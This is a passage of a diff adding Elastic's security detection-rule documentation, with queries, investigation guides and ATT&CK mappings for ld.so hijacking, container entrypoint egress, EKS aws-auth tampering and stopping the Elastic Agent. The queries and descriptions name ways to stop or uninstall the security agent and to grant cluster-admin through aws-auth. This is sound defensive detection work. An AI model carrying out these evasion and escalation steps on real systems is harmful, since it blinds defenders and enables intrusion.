"/bin/nvidia-cdi-hook", + "/usr/lib/dracut/dracut-install", "./usr/bin/nvidia-cdi-hook", "/.envbuilder/bin/envbuilder", "/usr/bin/buildah", + "/usr/sbin/dnf", "/usr/bin/pamac", "/sbin/pacman", "/usr/bin/crio", "/usr/sbin/yum-cron" + ) or + file.extension in ("swp", "swpx", "swx", "dpkg-remove") or + file.Ext.original.extension == "dpkg-new" or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/snap/*", "/dev/fd/*", "/usr/lib/virtualbox/*", "/opt/dynatrace/oneagent/*", + "/usr/libexec/platform-python*" + ) or + process.executable == null or + process.name in ( + "java", "executor", "ssm-agent-worker", "packagekitd", "crio", "dockerd-entrypoint.sh", + "docker-init", "BootTimeChecker", "dockerd (deleted)", "dockerd" + ) or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") or + (process.name == "init" and file.name == "ld.wsl.conf") or + (process.name == "sshd" and file.extension == "dpkg-new") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-linker-ld-so-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-linker-ld-so-creation.asciidoc new file mode 100644 index 0000000000..5bdc4104e3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-linker-ld-so-creation.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-34-dynamic-linker-ld-so-creation]] +=== Dynamic Linker (ld.so) Creation + +This rule detects the creation of the dynamic linker (ld.so). The dynamic linker is used to load shared libraries needed by an executable. Attackers may attempt to replace the dynamic linker with a malicious version to execute arbitrary code. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dynamic Linker (ld.so) Creation* + + +The dynamic linker, ld.so, is crucial in Linux environments for loading shared libraries required by executables. Adversaries may exploit this by replacing it with a malicious version to execute unauthorized code, achieving persistence or evading defenses. The detection rule identifies suspicious creation of ld.so files, excluding benign processes, to flag potential threats. + + +*Possible investigation steps* + + +- Review the process that triggered the alert by examining the process.executable field to understand which application attempted to create the ld.so file. +- Check the process.name field to ensure the process is not one of the benign processes listed in the exclusion criteria, such as "dockerd", "yum", "dnf", "microdnf", or "pacman". +- Investigate the file.path to confirm the location of the newly created ld.so file and verify if it matches any of the specified directories like "/lib", "/lib64", "/usr/lib", or "/usr/lib64". +- Analyze the parent process of the suspicious executable to determine if it was initiated by a legitimate or potentially malicious source. +- Look for any recent changes or anomalies in the system logs around the time of the file creation event to identify any related suspicious activities. +- Cross-reference the event with other security tools or logs, such as Elastic Defend or SentinelOne, to gather additional context or corroborating evidence of malicious activity. +- Assess the risk and impact of the event by considering the system's role and the potential consequences of a compromised dynamic linker on that system. + + +*False positive analysis* + + +- Package managers like yum, dnf, microdnf, and pacman can trigger false positives when they update or install packages that involve the dynamic linker. These processes are already excluded in the rule, but ensure any custom package managers or scripts are also considered for exclusion. +- Container management tools such as dockerd may create or modify ld.so files during container operations. If you use other container tools, consider adding them to the exclusion list to prevent false positives. +- System updates or maintenance scripts that involve library updates might create ld.so files. Review these scripts and add them to the exclusion list if they are verified as non-threatening. +- Custom administrative scripts or automation tools that interact with shared libraries could inadvertently trigger the rule. Identify these scripts and exclude them if they are part of regular, secure operations. +- Development environments where ld.so files are frequently created or modified during testing and compilation processes may need specific exclusions for development tools or environments to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Verify the integrity of the dynamic linker (ld.so) on the affected system by comparing it with a known good version from a trusted source or repository. +- If the dynamic linker has been tampered with, replace it with the verified version and ensure all system binaries are intact. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection tools to identify and remove any additional malicious files or processes. +- Review system logs and the process creation history to identify the source of the unauthorized ld.so creation and any associated malicious activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems are affected. +- Implement additional monitoring and alerting for similar suspicious activities, such as unauthorized file creations in critical system directories, to enhance future detection capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.path like~ ("/lib/ld-linux*.so*", "/lib64/ld-linux*.so*", "/usr/lib/ld-linux*.so*", "/usr/lib64/ld-linux*.so*") and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/dev/fd/*", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/platform-python", + "/usr/lib/snapd/snap-update-ns", "./usr/bin/podman", "/usr/bin/crio", "/usr/bin/buildah", "/bin/dnf5", + "/usr/bin/dnf5", "/usr/bin/pamac", "/dev/fd/3" + ) or + process.executable like ( + "/snap/docker/*/bin/dockerd", "/usr/bin/python*", "/nix/store/*/docker/dockerd", "/var/lib/docker/overlay2/*/dockerd", + "/rpool/data/*usr/bin/dockerd" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-egress-connection-from-entrypoint-in-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-egress-connection-from-entrypoint-in-container.asciidoc new file mode 100644 index 0000000000..9300849b2c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-egress-connection-from-entrypoint-in-container.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-34-egress-connection-from-entrypoint-in-container]] +=== Egress Connection from Entrypoint in Container + +This rule identifies a sequence of events where a process named "entrypoint.sh" is started in a container, followed by a network connection attempt. This sequence indicates a potential egress connection from an entrypoint in a container. An entrypoint is a command or script specified in the Dockerfile and executed when the container starts. Attackers can use this technique to establish a foothold in the environment, escape from a container to the host, or establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Egress Connection from Entrypoint in Container* + + +Containers, often used for deploying applications, start with an entrypoint script that initializes the environment. Adversaries may exploit this by embedding malicious commands to initiate unauthorized network connections, potentially breaching security boundaries. The detection rule monitors for processes named `entrypoint.sh` followed by suspicious network activity, flagging attempts to connect to external IPs, thus identifying potential threats. + + +*Possible investigation steps* + + +- Review the process details for the `entrypoint.sh` script execution, focusing on the `process.entity_id` and `host.id` to understand the context of the container where the script was executed. +- Examine the network connection attempt details, particularly the `destination.ip`, to determine if the IP address is known to be malicious or associated with suspicious activity. +- Check the container's Dockerfile or image configuration to verify if the `entrypoint.sh` script is expected and whether it contains any unauthorized modifications or additions. +- Investigate the parent process of the network connection attempt using `process.parent.entity_id` to identify if there are any other suspicious processes or activities linked to the same parent. +- Correlate the event with other logs or alerts from the same `host.id` to identify any additional indicators of compromise or related suspicious activities within the same timeframe. + + +*False positive analysis* + + +- Legitimate application updates or installations may trigger the rule if they involve network connections from the entrypoint script. To handle this, identify and whitelist specific applications or update processes that are known to perform such actions. +- Automated configuration management tools might execute scripts that initiate network connections as part of their normal operations. Exclude these tools by specifying their process names or parent entity IDs in the rule exceptions. +- Containers designed to perform network diagnostics or monitoring could naturally attempt connections to external IPs. Review and exclude these containers by their image names or specific entrypoint scripts. +- Development or testing environments often run scripts that connect to external services for integration testing. Consider excluding these environments by tagging them appropriately and adjusting the rule to ignore these tags. +- Scheduled maintenance scripts that run periodically and require network access might be flagged. Document these scripts and create exceptions based on their execution schedule or specific network destinations. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized network connections. This can be done by stopping the container or disconnecting it from the network. +- Conduct a thorough review of the `entrypoint.sh` script within the container to identify and remove any malicious commands or scripts that may have been injected. +- Analyze the network traffic logs to identify any external IP addresses that the container attempted to connect to. Block these IPs at the firewall level to prevent future connections. +- Check for any signs of lateral movement or attempts to escape the container to the host system. If detected, escalate to the security team for a comprehensive investigation. +- Restore the container from a known good backup if available, ensuring that the restored version is free from any malicious modifications. +- Implement additional monitoring on the affected host and container environment to detect any similar suspicious activities in the future. +- Report the incident to the appropriate internal security team or incident response team for further analysis and to update threat intelligence databases. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=3s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.entry_leader.entry_meta.type == "container" and process.name == "entrypoint.sh"] by process.entity_id + [network where event.type == "start" and event.action == "connection_attempted" and process.executable != null and + not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) or + // Excluding vast majority of noise + (process.name like ("python*", "pip*") and destination.port == 443) + )] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-eks-authentication-configuration-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-eks-authentication-configuration-modified.asciidoc new file mode 100644 index 0000000000..63d100e1a1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-eks-authentication-configuration-modified.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-34-eks-authentication-configuration-modified]] +=== EKS Authentication Configuration Modified + +Detects modifications to the aws-auth ConfigMap in Amazon EKS clusters. The aws-auth ConfigMap maps AWS IAM roles and users to Kubernetes RBAC groups, an attacker who modifies it can grant any IAM role cluster-admin access by adding a mapping to the system:masters group. This is a well-documented persistence technique that survives pod restarts, node replacements, and RBAC changes because the authentication mapping exists outside of normal Kubernetes Role objects. Modifications to aws-auth are rare in normal operations, the ConfigMap is typically set during cluster provisioning and updated only during node group or access configuration changes. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/eks/latest/userguide/auth-configmap.html +* https://docs.aws.amazon.com/eks/latest/userguide/access-entries.html + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating EKS Authentication Configuration Modified* + + +Confirm who changed the mapping (user.name, groups, source.ip, user_agent.original) and whether the change aligns with +approved cluster or node-group operations. Compare the new aws-auth mapRoles/mapUsers content to the prior revision if +request/response capture is available in audit. + + +*Possible investigation steps* + + +- Identify any new IAM role ARNs or users bound to system:masters or other privileged Kubernetes groups. +- Correlate the timestamp with AWS CloudTrail for related EKS or IAM API activity and with GitOps or pipeline commits. +- Review subsequent API activity from newly mapped IAM principals for secret access, RBAC changes, or workload deployment. +- If Access Entries are enabled, also review CloudTrail for eks:CreateAccessEntry, eks:AssociateAccessPolicy, and similar + API calls around the same window. + + +*Response and remediation* + + +- If unauthorized, revert aws-auth from a known-good backup, remove rogue map entries, and rotate or restrict IAM that + could have performed the change. +- Audit IAM policies that allow eks:UpdateClusterConfig or broad ConfigMap write access to kube-system. +- Escalate per incident policy when system:masters mappings appear from unexpected IAM identities. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"kubernetes.audit_logs" and +kubernetes.audit.objectRef.resource:"configmaps" and +kubernetes.audit.objectRef.name:"aws-auth" and +kubernetes.audit.verb:("update" or "patch" or "delete") and +kubernetes.audit.objectRef.namespace:"kube-system" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +not user.name:"eks:kms-storage-migrator" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Container Cluster Roles +** ID: T1098.006 +** Reference URL: https://attack.mitre.org/techniques/T1098/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-agent-service-terminated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-agent-service-terminated.asciidoc new file mode 100644 index 0000000000..19d52127c7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-agent-service-terminated.asciidoc @@ -0,0 +1,195 @@ +[[prebuilt-rule-8-19-34-elastic-agent-service-terminated]] +=== Elastic Agent Service Terminated + +Identifies the Elastic endpoint agent has stopped and is no longer running on the host. Adversaries may attempt to disable security monitoring tools in an attempt to evade detection or prevention capabilities during an intrusion. This may also indicate an issue with the agent itself and should be addressed to ensure defensive measures are back in a stable state. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Elastic Agent Service Terminated* + + +The Elastic Agent is a crucial component for monitoring and securing endpoints across various operating systems. It ensures continuous security oversight by collecting and analyzing data. Adversaries may attempt to disable this agent to evade detection, compromising system defenses. The detection rule identifies suspicious termination activities by monitoring specific processes and commands across Windows, Linux, and macOS, flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the event logs to identify the exact process and command used to terminate the Elastic Agent, focusing on the process names and arguments such as "net.exe", "sc.exe", "systemctl", and "pkill" with arguments like "stop", "uninstall", or "disable". +- Check the timeline of events around the termination to identify any preceding suspicious activities or anomalies that might indicate an adversary's presence or actions. +- Investigate the user account associated with the process termination to determine if it was authorized or if there are signs of account compromise. +- Examine the host for any other signs of tampering or compromise, such as unauthorized changes to system configurations or the presence of other malicious processes. +- Verify the current status of the Elastic Agent on the affected host and attempt to restart it if it is not running, ensuring that security monitoring is restored. +- Correlate this event with other alerts or logs from the same host or network to identify potential patterns or coordinated attack activities. + + +*False positive analysis* + + +- Routine maintenance activities may trigger the rule if administrators use commands like systemctl or service to stop the Elastic Agent for updates or configuration changes. To manage this, create exceptions for known maintenance windows or authorized personnel. +- Automated scripts or deployment tools that temporarily disable the Elastic Agent during software installations or updates can cause false positives. Identify these scripts and whitelist their execution paths or specific arguments. +- Testing environments where Elastic Agent is frequently started and stopped for development purposes might generate alerts. Exclude these environments by specifying their hostnames or IP addresses in the rule exceptions. +- Security tools or processes that interact with the Elastic Agent, such as backup solutions or system monitoring tools, might inadvertently stop the service. Review these interactions and adjust the rule to ignore specific process names or arguments associated with these tools. +- User-initiated actions, such as troubleshooting or system performance optimization, may involve stopping the Elastic Agent. Educate users on the impact of these actions and establish a protocol for notifying the security team when such actions are necessary. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or potential lateral movement by adversaries. +- Verify the status of the Elastic Agent on the affected host and attempt to restart the service. If the service fails to restart, investigate potential causes such as corrupted files or missing dependencies. +- Conduct a thorough review of recent process execution logs on the affected host to identify any unauthorized or suspicious activities that may have led to the termination of the Elastic Agent. +- If malicious activity is confirmed, perform a comprehensive malware scan and remove any identified threats. Ensure that the host is clean before reconnecting it to the network. +- Review and update endpoint security configurations to prevent unauthorized termination of security services. This may include implementing stricter access controls or using application whitelisting. +- Escalate the incident to the security operations team for further analysis and to determine if additional hosts are affected or if there is a broader security incident underway. +- Document the incident, including all actions taken and findings, to enhance future response efforts and update incident response plans as necessary. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and +( + /* net, sc or wmic stopping or deleting Elastic Agent on Windows */ + ( + process.name : ("net.exe", "sc.exe", "wmic.exe", "powershell.exe", "taskkill.exe", "PsKill.exe", "ProcessHacker.exe") and + process.args : ("stopservice", "uninstall", "stop", "disabled", "Stop-Process", "terminate", "suspend") and + process.args : ("elasticendpoint", "Elastic Agent", "elastic-agent", "elastic-endpoint") + ) or + + /* direct uninstallation of Elastic Agent or Elastic Endpoint on Windows */ + ( + host.os.type == "windows" and + process.name : ("elastic-agent.exe", "endpoint-security.exe", "elastic-endpoint.exe") and + process.args : "uninstall" and + /* exclude legitimate Elastic-managed reinstall, upgrade, and uninstall subprocesses */ + not ( + process.parent.code_signature.trusted == true and + process.parent.code_signature.subject_name == "Elasticsearch, Inc." and + ( + ( + process.name : "elastic-agent.exe" and process.args : "--force" and + process.parent.name : "elastic-agent.exe" and process.parent.args : "install" and + process.parent.args : ("--force", "-f") + ) or + ( + process.parent.name : "endpoint-security.exe" and + process.executable : "*\\components\\previous\\elastic-endpoint.exe" and + process.args : "--keepstate" and process.parent.args : "--upgrade" + ) or + ( + process.name : "endpoint-security.exe" and process.parent.name : "elastic-agent.exe" and + process.parent.args : "uninstall" + ) + ) + ) + ) or + + /* service or systemctl used to stop Elastic Agent on Linux */ + ( + process.name in ("systemctl", "service", "chkconfig", "update-rc.d") and + process.args : ("elastic-agent", "elastic-agent.service", "ElasticEndpoint") and + process.args : ("stop", "disable", "remove", "off", "kill", "mask") and + not ( + process.parent.executable : "/opt/Elastic/Agent/data/elastic-agent-*/components/previous/elastic-endpoint" and + process.parent.args : "uninstall" and + process.parent.args : "--keepstate" + ) + ) or + + /* pkill, killall used to stop Elastic Agent or Endpoint on Linux */ + (process.name in ("pkill", "killall", "kill") and process.args : ("elastic-agent", "elastic-endpoint")) or + + /* Unload Elastic Defend extension on MacOS */ + (process.name : "kextunload" and process.args : "com.apple.iokit.EndpointSecurity") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-defend-alert-followed-by-telemetry-loss.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-defend-alert-followed-by-telemetry-loss.asciidoc new file mode 100644 index 0000000000..ee6f75e3d1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-elastic-defend-alert-followed-by-telemetry-loss.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-elastic-defend-alert-followed-by-telemetry-loss]] +=== Elastic Defend Alert Followed by Telemetry Loss + +Detects when an Elastic Defend endpoint alert is generated on a host and is not followed by any subsequent endpoint telemetry (process, network, registry, library, or DNS events) within a short time window. This behavior may indicate endpoint security evasion, agent tampering, sensor disablement, service termination, system crash, or malicious interference with telemetry collection following detection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-14m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1562/001/ + +*Tags*: + +* Domain: Endpoint +* Data Source: Elastic Defend +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Rule Type: Higher-Order Rule +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Elastic Defend Alert Followed by Telemetry Loss* + + +This rule identifies situations where an Elastic Defend alert is generated on a host and is not followed by +any normal endpoint activity events within a short time window. This may indicate agent tampering, sensor +disablement, host shutdown, system crash, or defense evasion behavior. + + +*Possible investigation steps* + + +- 